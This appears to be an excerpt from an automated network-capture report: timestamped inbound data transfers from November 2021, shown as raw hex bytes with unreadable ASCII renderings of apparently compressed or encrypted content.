92 a5 41 18 8f 8d 80 e3 b3 2f 75 df f8 a7 dd d7 0d d1 f9 2e 61 74 f1 dc 0e db 9a 1c 84 4c a0 b9 7b 08 37 36 36 9a 6d 4d 
0d 4a 7e a1 f9 e5 2f 66 b5 ad a9 a4 7a 45 24 b5 0c 55 bc da 92 99 56 9a 35 3d 99 9a e3 5a 17 53 43 24 44 c1 a2 a4 bb 01 
6c 4e 56 b7 fe a8 fd 8f b3 82 ae 35 1e 2a f0 66 8f c6 9a 
Data Ascii: 5Ov'Tkk"_mZTmkTuh~ r&pehTpYop4DhJ.R$jh0:Q-FYWnV)qf8/hFi:m.FOv}.X1HtH<A/u.atL{766mMJ~/fzE
$UV5=ZSC$DlNV5*f

2021-11-25 16:27:48 UTC 1191 IN Data Raw: 74 e1 53 be 54 b2 3a 36 98 8c 60 73 56 a7 d1 b6 67 e0 af 89 f5 0b 68 9d ae ea aa 66 20 49 d7 be 4e d5 17 94 
ec db b8 be 00 f5 cd a5 af 2c 7f 9d 47 3f e7 c2 54 1d dc 1e c4 20 3b 4e 51 0f 97 88 2a f1 eb 2e d1 51 22 e1 46 20 9e 8e 06
84 3b fc b4 33 86 a1 3b 38 12 4c 32 23 f5 34 b4 1b ab 35 5e 6c 1d 4a e8 ac 87 16 e1 be ce 9c 1a 2d b6 ce 39 88 25 4d 55 
b1 88 22 e7 76 d7 ee a8 49 a6 fe da 15 bd cd d9 08 e6 72 c9 5a d5 0d 89 4a e2 24 35 55 ba ba d1 dd 2c 16 bb 6d 22 2f 54 
6a 20 56 af a8 6c 20 96 f5 be 4f 60 64 1a 43 0b ba 44 98 4c d9 98 60 ba d8 26 ba b2 a3 a8 0d 7c 98 b9 6e 77 ac 4e a9 a4 
33 8e 7b 38 47 1e 08 66 b2 23 1a 56 a8 6b 4a 1c 44 c1 52 e9 dc 90 f9 4d dd f0 d3 19 4b 25 c0 e4 9c 47 99 78 f5 0d d9 61 
01 94 22 7e fc 08 dd d1 79 2d 86 ca 86 ad 9e fd f3 cd 
Data Ascii: tST:6`sVghf IN,G?T ;NQ*.Q"F ;3;8L2#45^lJ-9%MU"vIrZJ$5U,m"/Tj Vl O`dCDL`&|nwN3{8Gf#VkJDRM
K%Gxa"~y-

2021-11-25 16:27:48 UTC 1192 IN Data Raw: 30 76 58 40 74 9a fb c4 ce fb f5 71 dd 45 9c e9 db e3 99 16 89 ca a2 f2 23 81 bf df 53 f8 eb 94 9d a1 44 5a f6 ef
ba eb 19 40 81 db a1 c1 2a 6b 87 96 5c 40 f0 6b 22 28 34 e1 b5 a6 5e 49 12 a6 5d 2f 92 54 c1 b8 5f 06 c6 35 7e 7c 62 11 
91 99 08 4f cb 98 d9 c4 c0 16 03 b8 ed da 12 8f 60 b9 76 3d 30 bd 6f 11 4d d5 23 72 5e a5 29 a0 86 46 0e e3 15 1e 48 1e 
1e 49 8e 90 2f fc 76 cf ee 8b 2c b7 6e ad ac f0 33 55 68 33 db 43 6f 78 02 9b 8c 97 62 51 bd 82 ff f9 e9 83 f5 62 76 8a 28 
27 be fa e2 2b b2 89 ec ff 2f 24 f8 eb 63 4b b7 ee 49 f8 6b 95 b4 71 c9 c7 f1 d8 98 70 b4 85 91 de 6f 20 82 6f f9 86 b8 03 
da 53 ef 45 12 ad 0d 21 21 c7 e0 b4 14 38 e7 4a f4 23 ae fa fa cc 5d 19 9c eb 1b 1d b1 31 96 4a 24 3c e6 94 da 7b 9d 21 
bb 09 a7 01 23 27 81 10 7f a5 c8 6e 40 b8 ad 
Data Ascii: 0vX@tqE#SDZ@*k\@k"(4^I]/T_5~|bO`v=0oM#r^)FHI/v,n3Uh3CoxbQbv('+/$cKIkqpo oSE!!8J#]1J$<{!#'n@

2021-11-25 16:27:48 UTC 1193 IN Data Raw: 60 19 2d 47 5a 8c 4c dd c4 27 48 58 e2 42 a4 54 97 88 97 23 f5 eb a9 52 6f 92 15 7e 8e 92 85 33 1b bb 25 3d 
7f 86 38 29 e5 c7 cb 40 d4 e0 f5 c5 6f 10 15 11 2b 3c 51 db f5 95 fa 84 9d 5f 64 bf f4 13 19 6e 87 d2 5b b1 bc 3d 3b 92 99 
58 a3 28 1e 5f 5f 88 5f 47 66 dd f5 64 56 19 ae eb 26 94 dd 91 ef bb b2 7b 6f 65 fe cf 2a 9f 2c b7 23 9b d8 96 bf 03 59 ff 61 
57 fc 7e 70 54 9f af 3c 65 25 39 f3 35 d3 ac 37 a5 6f 87 db 20 99 5e ad 2a a7 fa 6e 22 79 b5 a5 5b 9f ea 9a ac 27 7e be 0d 
e2 67 9c 75 88 07 39 d4 5b d9 85 93 ae 9d 4b c0 c8 4f 36 a7 3a 71 93 6c ad b1 5a 8b ab bd 51 d5 4e 25 64 f8 74 5b 5c 7a 
c5 91 eb 63 e5 84 b1 82 a4 77 c2 eb 2e ac 3d 04 d5 13 2b 55 00 4c da 93 f0 cb be 6c 63 5f 41 53 a2 d7 81 2c f8 46 be bf 
ba b0 2b 49 ab 0e b5 d5 70 40 ec 87 87 17 52 
Data Ascii: `-GZL'HXBT#Ro~3%=8)@o+<Q_dn[=;X(___GfdV&{oe*,#YaW~pT<e%957o ^*n"y['~gu9[KO6:qlZQN%dt[\zc
w.=+ULlc_AS,F+Ip@R

2021-11-25 16:27:48 UTC 1195 IN Data Raw: 6f db 29 1f 4f 54 3a 22 9f 6f 88 07 be 98 5b b4 23 31 f0 2e c8 82 11 47 5e 8a 9c 2b f7 d9 81 5d a4 3c a0 e1 04 
0d f5 0a 60 57 64 f0 0e 99 14 09 59 3c 28 36 9f 90 8e 6d 03 4e 64 4d f2 d7 29 9b 50 88 60 b9 52 a9 d5 a5 ed ad c4 9b 30 
ab b2 a8 8b 95 8d 00 e6 71 30 4f 2c 05 3a c1 61 3d 60 fb c1 aa 11 94 78 0c ac e3 0a 1f 1e d6 d6 e9 4f eb 05 13 a7 d6 06 
09 74 c8 0a 39 d0 c3 37 d0 cc 8d 0e d1 b4 f5 8e ee da 1f 61 65 0f 71 8d f9 ec 96 2d 2c 02 03 7b 4d d8 be 8a e0 4b ef 02 
87 43 d3 00 57 06 d6 00 03 cf b9 f4 cb f8 dd a5 07 a5 f5 18 40 8f 11 d0 4f e0 d9 e6 fa 3a 5e e9 e5 92 4a 41 91 65 d2 f3 e0 
c2 0e 8b ab f4 70 d8 15 39 06 17 f4 b2 ed db 48 e1 1c 3b be fd 9f ff 68 1a be e0 34 44 7f 49 db d3 20 d2 86 c4 77 57 ff 46 
9d f8 c4 da 90 58 0c 47 45 48 be 4c 27 8a bc 24 
Data Ascii: o)OT:"o[#1.G^+]<`WdY<(6mNdM)P`R0q0O,:a=`xOt97aeq-,{MKCW@O:^JAep9H;h4DI wWFXGEHL'$

2021-11-25 16:27:48 UTC 1196 IN Data Raw: 58 cc 27 8d 5e 21 9b b1 ca 40 42 90 88 36 c3 5f 57 47 a6 81 9c 02 cd 4b d0 75 c1 79 11 eb ed 4b a5 42 20 89 
9e c1 24 90 64 fa e6 9a f8 5d ad 89 df 35 53 fc 9a 15 99 40 9c 9a cc c9 ba 09 7f d3 c1 46 e9 f1 39 8c 54 13 09 21 cc 70 a0 
8e 81 a6 60 53 64 a8 e9 38 95 68 3b 44 58 8d 47 f1 82 45 6f 96 9e 59 20 90 d9 40 28 59 20 51 92 27 e2 43 b2 3b 96 6e 
63 61 65 56 22 6a 3d 0e 26 33 c4 12 89 b1 c7 49 a0 0e 44 aa 4e f9 62 d4 1b 6a 85 82 de 26 b8 4f 06 90 a1 3a ac f4 16 92 
91 03 29 0a b6 bb 10 a1 f8 b4 99 1e 12 17 42 0e 93 17 78 48 e2 75 b1 a7 e0 97 44 34 38 49 15 8c 38 89 88 88 ed 26 66 
90 4f af 99 b7 a6 ba 25 19 72 51 ed c3 03 e8 10 25 c6 77 4a e4 08 84 e4 da 6b a4 1d b1 f6 92 14 aa 93 e5 7d 75 31 c4 23 
7a 1b d3 04 c6 4b 2d bc c4 15 0c 38 d7 49 d5 e7 06 29 d1 7d 
Data Ascii: X'^!@B6_WGKuyKB $d]5S@F9T!p`Sd8h;DXGEoY @(Y Q'C;ncaeV"j=&3IDNbj&O:)BxHuD48I8&f
O%rQ%wJk}u1#zK-8I)}

2021-11-25 16:27:48 UTC 1197 IN Data Raw: f4 57 8d 28 8e cc ca ca 8b 2b 94 a1 9d 84 96 57 ea 03 a7 43 34 ae 53 ed 7a 3a 18 b2 1f f4 83 0e dc b4 22 c0 
99 70 a8 eb 07 e3 de 4d 20 7c dd 4e 66 57 c1 d8 eb 3b 13 f8 94 4d e4 94 ec cb c7 98 65 d1 ce ea e6 ea 1a c9 1a 95 2a fe 
b4 f0 07 af 66 8d fe 54 e9 4f ad 51 37 ea f5 a6 89 3f f4 5a 5f 6d e0 0f 65 69 e0 43 a3 b1 2a dd 58 5c a7 89 ea 52 5c 49 37 
c1 51 bc 56 ec 83 19 33 14 c4 ed cd 24 d9 57 91 7c 54 d2 d1 bb 28 50 13 c7 13 fa 94 e0 d3 9c a1 d3 bf 9b f6 bc 89 8a d1 
35 18 d1 1e cd 51 e2 cb d2 77 ae 8a fa 76 28 be a8 70 ee 22 b2 9a a5 1a 79 ff 6e 31 32 93 07 92 dc b5 3d c5 63 5c 44 a7 
37 dc 8d eb 03 39 3a b9 52 e5 32 c5 19 93 d3 8f a2 66 aa 30 be cb 75 47 7b c3 37 1c 4d 57 38 5c d3 54 bb 6e 20 ce 25 00 
f6 69 61 ef e5 5d ae ff 49 ed 72 fd 4f f1 2e e7 46 b5 
Data Ascii: W(+WC4Sz:"pM |NfW;Me*fTOQ7?Z_meiC*X\R\I7QV3$W|T(P5Qwv(p"yn12=c\D79:R2f0uG{7MW8\Tn %ia]Ir
O.F

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 1198 IN Data Raw: 52 b6 9f 0b 5b 7b bb ba 6a c4 49 57 50 d6 b7 ab 2d 63 81 7b 78 49 9b 06 a5 af 2d a5 13 6f 48 1b 51 9b da 5b 
fc 22 22 67 d1 27 73 e9 13 89 60 94 5e 5d 4a 87 20 41 e2 4c 48 1f 6b 46 9a 41 79 29 48 3a 7d a9 2f 7e e1 ae d5 1a 8b c9 
51 fb cd b9 71 cf 50 f2 00 a5 fb c6 59 e5 9c 38 08 fa 35 cf ed 2a 7e ab e7 76 0d bf b5 73 bb 8e df 3a 6c 28 e8 b7 71 6e 37 
f1 db 84 b1 06 fd ae c2 20 83 7e 5b 30 f0 a0 df b5 73 db 44 45 ba 71 43 f5 3f 3e 18 d3 c8 3d 02 b6 ea dc f8 96 90 d0 0a ae 
e3 5d d2 c6 8c b8 c0 ff 56 e1 73 33 82 e0 aa d0 ba ff a6 bf 33 19 c0 46 84 f9 45 a3 a8 24 bf 14 a9 39 bf 10 0a 18 31 62 3c 
74 67 d8 11 91 90 48 96 a1 fe 8d 6f 82 f1 bf 45 68 df 89 50 d9 25 c3 d9 23 f2 0a 95 9f 0d fd 48 66 c8 17 64 f0 53 3f 74 96 
4e 1d 3a 09 8b c0 0b fb 62 aa 45 12 99 48 42 
Data Ascii: R[{jIWP-c{xI-oHQ[""g's`^]J ALHkFAy)H:}/~QqPY85*~vs:l(qn7 ~[0sDEqC?>=]Vs33FE$91b<tgHoEhP%#HfdS?
tN:bEHB

2021-11-25 16:27:48 UTC 1200 IN Data Raw: 71 fd eb 22 b2 77 c1 73 40 2c f0 5d 36 a8 79 dd ce 85 ab a7 8b f2 64 34 9e 6a fb 90 ab 50 07 8d 85 60 0d da 
44 ab 45 b8 fc 63 dc 89 bd 5e f6 d1 a0 9d 6c f0 e1 01 17 70 53 75 89 97 41 90 66 66 09 39 b1 8a 31 d9 7c 8d d7 e6 27 65 
8f f5 82 08 91 d8 2c 71 88 41 d2 6f 16 47 7d 12 71 d4 27 ef 1e 3b 50 78 ad 0e 14 f6 d2 dc d4 a7 98 99 32 0a be 1b 1d ac 
38 60 99 a7 da 5e c3 f8 24 99 89 fd c5 75 17 b9 f5 f5 02 ec 8f 5e b0 59 ea 7a 70 4d 02 43 6e 42 cb 87 07 7e fd 00 5d ea 87 
2e 96 0a b2 98 6d ce 6a b6 53 1f e7 c6 ce 32 ff 7b 91 90 31 fa 91 3b 0c e9 e0 a0 2b 39 9e 9d 24 61 65 8e e2 17 eb 51 15 
60 6c 6f d3 40 79 27 ad e8 68 d3 2c 99 46 74 d8 01 de 5a 7b db 30 de ea d6 db 64 ab df 33 18 d8 43 51 05 49 c8 05 a9 bf 
7e f7 08 fc 8e d8 bd 11 1f 44 da c9 6a ad cb f2 eb c1 
Data Ascii: q"ws@,]6yd4jP`DEc^lpSuAff91|'e,qAoG}q';Px28`^$u^YzpMCnB~].mjS2{1;+9$aeQ`lo@y'h,FtZ{0d3CQI~Dj

2021-11-25 16:27:48 UTC 1201 IN Data Raw: 42 d6 2e 4c b5 63 3e 6c 64 90 bf 5f 46 69 15 8b 8c 29 25 da 8b 5b a3 a9 80 36 1d b7 3c 83 95 95 a0 bc ed 11 
2e 32 65 f2 75 43 23 2e 4d df f4 6d 2a 82 2f a9 3e 2a 05 b8 d6 91 57 c5 69 ea f9 a0 7b 0a 33 6d bd ed 31 0c 8c c2 6c 58 
d0 39 45 10 ff 6f 29 45 88 71 b2 dc d9 25 d3 e4 e4 65 27 34 31 1e f5 fb 41 14 34 58 1c 9e be 6d 24 37 87 45 db df c9 81 
44 6c 65 95 e8 29 45 78 da 1c f8 62 29 e7 57 6f 29 69 c7 59 4a 1a 2e 27 7d 5d 4a e9 2c 67 ba 5d 4e 3a 58 4a f9 bc 94 72 
b5 5c ec f5 72 d2 6c 39 69 ba 9c b4 b3 5c d5 52 ca db a5 94 ed 65 b0 cc 96 52 0e ed b3 4f 15 ed 67 d7 99 b4 bf 95 b7 a6 
46 8e c8 21 3d bd 1e 18 13 7e e8 f4 e6 ba 11 e7 f8 3e 31 44 86 ef 63 99 c1 4f 67 70 a7 32 83 37 91 19 de 5c a6 32 78 2a 
83 af 32 4c 7f a4 32 04 2a c3 96 ea c3 5e ba 86 50 65 78 
Data Ascii: B.Lc>ld_Fi)%[6<.2euC#.Mm*/>*Wi{3m1lX9Eo)Eq%e'41A4Xm$7EDle)Exb)Wo)iYJ.'}]J,g]N:XJr\rl9i\R
eROgF!=~>1DcOgp27\2x*2L2*^Pex

2021-11-25 16:27:48 UTC 1202 IN Data Raw: 0c a2 f2 56 11 a3 28 7d e1 10 40 ff c9 9a f8 8b 65 4d 3c d5 fc 51 89 22 d9 ba fa 48 c9 1b 80 c9 31 3a b6 2f 49 
06 d4 b9 b0 fe 93 e5 8d 4f f8 ed 94 5f 85 52 25 fd 2a 2c fb bd c9 d5 68 12 80 3a a1 90 54 fc 86 ac 28 24 49 29 eb e6 52 dc 
9b b4 30 f3 5a 98 2e 2d a4 ce 64 2a ef 59 6a 8b 82 48 f5 99 45 aa cf 0b 16 fa 44 e5 96 39 c7 b3 73 50 12 cf 99 6a 57 9a 
24 14 b1 4e 58 27 52 7a a5 2d 93 ce bc 43 e3 53 84 eb b4 91 75 6c e4 24 e9 6a fa a6 66 4c fe 1a b1 07 4d d0 e9 1f 99 74 
3a 8f 1d e3 89 5a 48 a6 8a 90 69 be 34 e8 6c c2 af 46 2a 8c 6d 41 db 5f 85 82 b6 5b b9 cf 8f 4b a2 52 77 2e 84 bf 88 8e 8c 
ef 52 ee a4 96 a0 f8 8c 6f a9 9f 2a 72 8e d8 37 5f 85 96 1f a3 8e e5 f0 1e a7 96 92 2f 4d 77 a9 7a a5 7d a7 5d 8b 36 89 bb 
9f 0e c4 b7 f9 13 a2 2e ab 8c 3f 66 cb ba 2e 
Data Ascii: V(}@eM<Q"H1:/IO_R%*,h:T($I)R0Z.-d*YjHED9sPjW$NX'Rz-CSul$jfLMt:ZHi4lF*mA_[KRw.Ro*r7_/Mwz}]6.?f.

2021-11-25 16:27:48 UTC 1204 IN Data Raw: cb 84 a4 93 86 9d c5 fb 38 62 c5 71 f7 56 e1 bb 68 61 dd 35 c4 da 30 2b 2a a1 29 13 a2 1c 55 99 50 55 09 a6 
5a 9e e2 a7 22 7f 4d f9 1b e5 5b b3 fc 20 74 66 fd a9 4a 98 f5 d1 0b d6 63 6f 36 d8 1f ca 6d f6 5d 5f 98 db 64 51 90 30 1a 
4f b8 44 41 5e bc fd 8e ad 68 b8 3d 1a 0e 03 6f 4a 9b 9a 4c d8 e9 4d 3c 99 b6 19 aa f5 0d 10 df 68 a1 11 2f e1 24 dd 51 
56 22 76 2e 24 6e 54 e4 fb 12 a8 7c 35 5d 91 24 99 cf b7 91 2d 20 79 5a 70 70 8b e2 5d 6c 77 d2 01 a2 f2 89 97 49 f4 bc 
7c 09 76 47 e7 06 92 06 80 41 9a 07 64 d3 1a bf 7c e5 6a d2 e5 93 30 1e 19 6f 5b 5d fb 48 eb 1a ec 85 b0 63 9f 6a 1d a3 
69 74 23 64 38 84 57 02 18 07 e9 46 5d f6 b8 ae 7a 1c c3 a1 22 f4 a8 77 bf 3d 11 22 96 18 e6 e1 9f c0 3f 83 e7 54 13 a2 
28 27 4f 08 c2 99 bd 48 b4 42 73 02 58 fb f0 b1 81 ec 
Data Ascii: 8bqVha50+*)UPUZ"M[ tfJco6m]_dQ0ODA^h=oJLM<h/$QV"v.$nT|5]$- yZpp]lwI|vGAd|j0o[]Hcjit#d8WF]z"w="?
T('OHBsX

2021-11-25 16:27:48 UTC 1205 IN Data Raw: 3f 1c e5 25 bf 98 8f 39 2c 55 4d b9 a0 7c 2c bb cd 05 06 56 7a d0 98 d8 a9 c0 3a 91 14 e0 8c ef ca c2 6f 4f ec 
91 dd 51 d7 24 5c 25 45 10 65 7e b3 20 f0 1a 0b 61 47 46 db 16 7c fb 4e a5 4b 72 81 5b 38 3a 13 61 3b 02 44 8f 50 7a 19 
19 34 f2 a8 2f 80 d7 87 1b 61 5a c9 88 ad a2 56 3c 68 6c 93 da c9 76 ce 68 04 46 77 87 da 4f 31 a1 b8 79 b5 e0 f1 b3 10 
12 cb d9 e7 50 70 51 c4 f1 42 ec 27 91 d3 bf 79 ed 54 b1 d1 21 e5 f9 85 72 1d 19 0b 80 dd 1d 36 b5 c2 c7 6e a0 7c 3f 06 
f0 02 39 19 cd c6 5e 90 ff e1 4c e0 99 31 cf 25 cb 05 c3 34 d5 26 15 b2 3c 18 2e 4f 98 6b 07 4d f9 fc 1c 38 22 47 96 24 7e 
1b 5f de a8 98 24 34 2f ed cf 6f 12 54 72 7f 66 6c 75 db 5f df cc f5 14 73 b4 0d 57 47 46 e1 b5 d8 4b a7 a3 bc 58 40 e0 dc 
f3 e0 d6 81 b5 7e 92 35 9c 1b 41 56 7f df f6 71 
Data Ascii: ?%9,UM|,Vz:oOQ$\%Ee~ aGF|NKr[8:a;DPz4/aZV<hlvhFwO1yPpQB'yT!r6n|?9^L1%4&<.OkM8"G$~_$4/oTr
flu_sWGFKX@~5AVq

2021-11-25 16:27:48 UTC 1206 IN Data Raw: fc 13 08 d5 d1 9f d6 1a f2 d6 5b 69 08 e5 7e 0f 44 44 4a 1a cd 56 bd 4e 13 d7 fa 13 08 a1 47 d5 d5 86 d9 a4 fd 
31 93 6a ff 22 8c b0 64 cd ca 2a ad fd 5a 2d 9b 68 ff 22 88 40 6b a9 37 8d 9a d9 a8 98 7f 82 44 a0 22 d5 56 a3 42 ff 6f 55 
33 37 b6 5f 84 51 95 b7 91 1a 11 c8 46 8a ee fc 2e 88 56 b1 8b 80 7c b4 ea ab 29 74 cc fd 2e 8c 40 69 89 16 b5 b0 43 36 
ab bf 09 24 1a 1b 55 23 56 19 f2 34 5a ad d5 6c 1c 5a ea 4d b5 25 e1 43 e3 22 28 8b d9 aa 56 57 ab b4 ec 5b b5 cc 25 66 
9a 4b 95 98 12 38 34 24 82 b0 24 40 26 71 1f 95 5a 65 61 38 11 60 9a 4b c3 69 4a c0 d0 60 08 be 12 95 69 d7 20 52 bf ba 
5a af 64 02 a5 b6 58 cb da 22 4c b0 19 ae 36 6b 6b ab b4 ad 66 12 e7 5f 80 49 1d 3b c5 6a b5 b5 46 2b e1 17 60 92 cb 06 
0a 98 17 b3 b6 56 6f ae 2d 50 f7 df 82 09 08 20 31 
Data Ascii: [i~DDJVNG1j"d*Z-h"@k7D"VBoU37_QF.V|)t.@iC6$U#V4ZlZM%C"(VW[%fK84$$@&qZea8`KiJ`i RZdX"L6kk
f_I;jF+`Vo-P 1

2021-11-25 16:27:48 UTC 1207 IN Data Raw: 9e 5a 97 9d 26 c1 43 00 0e 2e 08 4e e8 a9 d7 a4 e5 97 be f2 d0 55 c7 c0 c3 26 65 40 20 63 ab 4b e0 ee e2 7e 
8d c2 fd 26 2e 81 18 03 a3 cb 1e 77 ed 2e df ea 1c 35 79 99 12 5f bc c6 b7 22 32 7c 28 2f 7a 30 19 44 67 6a 83 f2 37 7f ae 
6f 6a b8 4c 18 55 d4 ac 70 58 25 44 2d 4b d0 e0 08 36 ec e2 80 40 d1 d1 8d c9 21 bc 8f c6 05 71 2f 43 57 e6 ed d7 4f 9e 
7b 4e f8 e0 f3 30 79 f0 79 1d 9d 61 1e e2 0c b3 7a 6e 5d 2f 9f 61 4e 0a c2 37 f5 23 21 f3 62 0f 2b 59 56 30 98 d6 f7 5b cf 
c4 fb c3 59 74 f9 7d 30 9e b0 43 e3 e9 49 00 c3 7d c2 b3 38 dc 9f 63 4b 0b 6d 69 2d b2 ef f7 83 6d 79 39 db ca 8c c4 bb 
99 ba 1d 30 a6 29 86 91 61 1a c0 32 75 6e 1c 67 05 18 fa 1c 05 18 fa 9c 0e 30 e4 da 1c a6 f3 48 85 e9 8c 2d 4e 70 59 35 
74 98 18 be 63 ff 41 f2 14 7b f6 98 4d 06 dc 65 4f 
Data Ascii: Z&C.NU&e@ cK~&.w.5y_"2|(/z0Dgj7ojLUpX%D-K6@!q/CWO{N0yyazn]/aN7#!b+YV0[Yt}0CI}8cKmi-my90)
a2ung0H-NpY5tcA{MeO

2021-11-25 16:27:48 UTC 1209 IN Data Raw: 77 4f 51 db e1 ee c9 f6 1e bd 6e bd da 3f d8 ff f8 cd c8 e5 5f ef 7f 3c 42 ad af 8f 4f f2 5b c4 5e 9e 7c dc df fe 74 
b0 75 92 7f ff e9 e4 fd f1 e9 2e 75 60 87 ea 3d da 3f 7a 7d 42 cd ec 1e ee 1e 7d 2c e7 a9 5d 4a cc ef 7e a6 b7 fc e9 de d6 
c1 01 1a cb e5 b7 3e d1 08 4e d0 c7 fc f6 f1 fb 6f 27 fb 6f f6 3e e6 f7 8e 0f 76 76 29 f1 d5 2e 75 6e eb d5 c1 ae 68 8c 06 b6
7d b0 b5 7f 68 e4 77 b6 0e b7 de ec 72 a9 63 aa 86 c6 87 7c a2 87 f9 2f 7b bb 48 43 8b 5b f4 df f6 c7 fd e3 23 0c 65 fb f8 e
8 e3 09 bd 1a 34 d2 93 8f 51 d9 2f fb a7 bb 46 7e eb 64 ff 14 40 79 7d 72 7c 48 83 04 50 a9 c8 31 d7 42 05 8f 76 45 35 00 
78 7a 5e 28 0b de 3f 9d ee 46 35 e6 77 76 b7 0e a8 b2 53 14 e6 51 aa dc 34 ab 82 cc 6c 6f 57 30 c1 02 03 f9 42 2b 21 f3 
88 30 89 36 11 da 50 fc 60 9c ef 
Data Ascii: wOQn?_<BO[^|tu.u`=?z}B},]J~>No'o>vv).unh}hwrc|/{HC[#e4Q/F~d@y}r|HP1BvE5xz^(?F5wvSQ4loW0B+!06P`

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 1210 IN Data Raw: ea 72 38 fa d1 0f fc 0e af 73 6c f4 d4 6d 40 fc 17 ba 99 8b 5b 46 2b 83 c0 11 92 d2 10 3c f7 14 17 2a fd 7c 9f 77 
76 9a 6a 30 fc 18 3d 75 9b 49 66 4c 7b 30 ed 66 f9 c9 06 cb b4 b1 73 5b 03 c7 27 cc 50 d2 be 1c 13 ea c4 a2 71 a9 47 38 
d5 13 f7 24 dd bb 34 77 16 31 67 ec c8 72 89 37 03 71 4a f1 72 e9 1e 10 81 7d 0e 24 2c 6e 18 44 8a e8 3b 2d 40 e2 91 72 
62 e5 b3 f0 63 a4 65 9d 36 33 35 bd 72 2c be 61 36 69 85 f1 32 85 9c e5 3b 57 d3 b4 ac 86 6b 7b 44 82 38 f1 aa ef dc 19 
62 a3 64 9a 32 1b 32 57 2a e5 33 62 05 27 e8 9d 44 59 8b 32 f6 a8 ad c1 08 0b 5d 0e 98 64 72 47 6c 65 77 dc 89 68 ff 11 
db 0e f6 2c b9 04 65 bb bc 8f 51 55 3d 54 25 50 ad 37 15 c4 fa 6a 4c 0b d2 bb 53 55 5f 89 7d 28 da 2c c4 aa fa 3f 04 a4 01 
74 36 d8 60 f8 7f fd de 65 30 0c 26 c4 d5 06 57 
Data Ascii: r8slm@[F+<*|wvj0=uIfL{0fs['PqG8$4w1gr7qJr}$,nD;-@rbce635r,a6i2;Wk{D8bd22W*3b'DY2]drGlewh
,eQU=T%P7jLSU_}(,?t6`e0&W

2021-11-25 16:27:48 UTC 1211 IN Data Raw: 2e 2e 37 87 df 27 4b e2 f4 8f 9e 6c 0b 38 1c ad 02 26 c4 29 01 56 b4 cd 02 7c 16 af 92 cb 5a 16 54 94 f1 9e 98 
17 9a 7f c1 ab 3e c1 c7 08 2d 9d 20 f2 ca 07 df 55 42 c8 10 62 3c 35 10 f4 78 8f e0 71 0a f6 6e 7c 87 4c f1 da cd 3d 4b cd 
eb 65 02 5e 2c b4 a0 17 f0 7a 8a 3e 49 dd 49 de 29 e7 8f 46 a0 39 3e 8d 5d 0c e7 ca 61 1a 27 b9 e0 6e d0 4f 23 18 1f 39 
82 f6 f9 11 fb 47 8f 39 29 31 49 06 10 1f 25 e5 61 e4 e1 0d ef 07 43 5d d2 40 b1 6f e1 78 42 9e 7e 96 a9 0a 37 c1 19 8c 28 
e3 78 92 d0 56 4c 4a 3d a9 cc 61 9e 61 28 64 5f 0e 64 26 07 a8 a4 44 79 b2 21 0f 23 31 25 b4 11 f8 00 a3 17 8c 87 4a 1a 
13 a0 96 30 34 98 33 ef c5 23 81 f3 0e 84 5c 4b f5 fe 19 4d 5d aa 5d 51 0f 89 99 a0 d9 20 13 5d fa e4 b8 bd 7e 0f e2 01 b1 
36 bc 0e 78 09 ca 08 19 33 62 65 14 b1 60 32 
Data Ascii: ..7'Kl8&)V|ZT>- UBb<5xqn|L=Ke^,z>II)F9>]a'nO#9G9)1I%aC]@oxB~7(xVLJ=aa(d_d&Dy!#1%J043#\KM]]Q 
]~6x3be`2

2021-11-25 16:27:48 UTC 1212 IN Data Raw: 7f b4 d4 7d da 6b 84 d7 e6 cf b0 97 d6 ad 45 90 77 a6 08 32 1c 61 92 91 46 92 f3 0c 02 43 0b 0f e1 61 3c 15 
46 51 85 4c 14 af c2 7d 39 c7 54 ec 4b bf fc e9 f9 34 42 31 67 1d 31 67 46 17 7e 1f 71 73 8c 26 8f 20 8b 4b 04 46 07 91 2f 
56 56 4e 08 dc 5d 76 6c 3a 37 f6 1d 06 c4 f6 e2 d2 5c 1e 31 87 86 58 72 53 c8 48 94 72 b6 3f b0 73 6c 4a 2d c3 ee 0a dc 
63 d2 e8 11 39 14 d5 22 76 f1 a1 e1 e8 06 1e f6 d8 2f b4 1a f0 81 5c a2 b8 9c 15 59 26 fb fa 4f f1 e0 b2 d1 f1 5f d7 9a 6f 14
26 c1 b4 60 c8 0b 6b 88 70 21 c1 72 7c a3 1d de 60 a2 47 57 d4 52 e1 cd ee c7 02 e1 2c 42 ff 50 d2 90 f6 66 ff 8e a3 71 
7a 1c ea 28 c9 b8 d5 71 15 83 33 b0 38 4b 4d 55 2b 15 15 d0 76 36 d9 f4 a2 a0 1c ec c7 8e 7d 41 7e a4 d9 d1 db 9e 0a 
7b cf 86 f5 b4 e7 c1 47 ec d0 97 81 d1 a4 79 73 32 
Data Ascii: }kEw2aFCa<FQL}9TK4B1g1gF~qs& KF/VVN]vl:7\1XrSHr?slJ-c9"v/\Y&O_o&`kp!r|`GWR,BPfqz(q38KMU+v6}A~
{Gys2

2021-11-25 16:27:48 UTC 1214 IN Data Raw: 47 3b 54 81 c4 d3 b7 49 9b f7 b8 ef 2c e8 24 19 74 78 c9 61 bf f4 b1 8a 87 cb d6 b3 71 a1 b6 83 71 77 9d 1d 8c 
df ec 53 d4 d1 24 88 e8 8e 11 f5 79 4c c5 b8 d6 98 a2 3e cf af 44 41 9f 63 67 0c eb 34 60 33 49 0e fa 3c 70 06 cb cb c3 4f 
64 b8 68 c3 cf 01 85 5c 5e 5e 3e b1 07 32 f8 b2 00 56 1c ed 2d 67 86 64 d5 31 7d c7 14 02 1a fe e4 45 80 1e cb 08 d0 3b 
79 11 a0 0f 01 df 39 87 34 90 43 1c 08 fc 3c d4 03 39 34 06 62 04 82 9e 13 07 ba 9f 8a 03 3d cd 2e c0 be d8 e6 c1 2b a0 
20 7c 2a 52 ee 00 8d f5 07 b5 68 4e dc 5b 63 ea b1 5b 1b c3 9f 5d b7 96 dd 81 85 1d 8a 6f bb 83 b1 da 31 8e f2 18 7f f0 
d0 18 3a cc 1e 29 3a b1 03 c7 76 40 96 bf ce a0 f8 11 c5 5c 63 dc c4 01 47 76 e6 f6 c7 80 54 e6 6c 8a 6e 6a 80 9b b2 03 
7f d4 a6 0c cc 38 b9 fd c2 8c 08 cc 4a a2 4f 7d c1 
Data Ascii: G;TI,$txaqqwS$yL>DAcg4`3I<pOdh\^^>2V-gd1}E;y94C<94b=.+ |*RhN[c[]o1:):v@\cGvTlnj8JO}

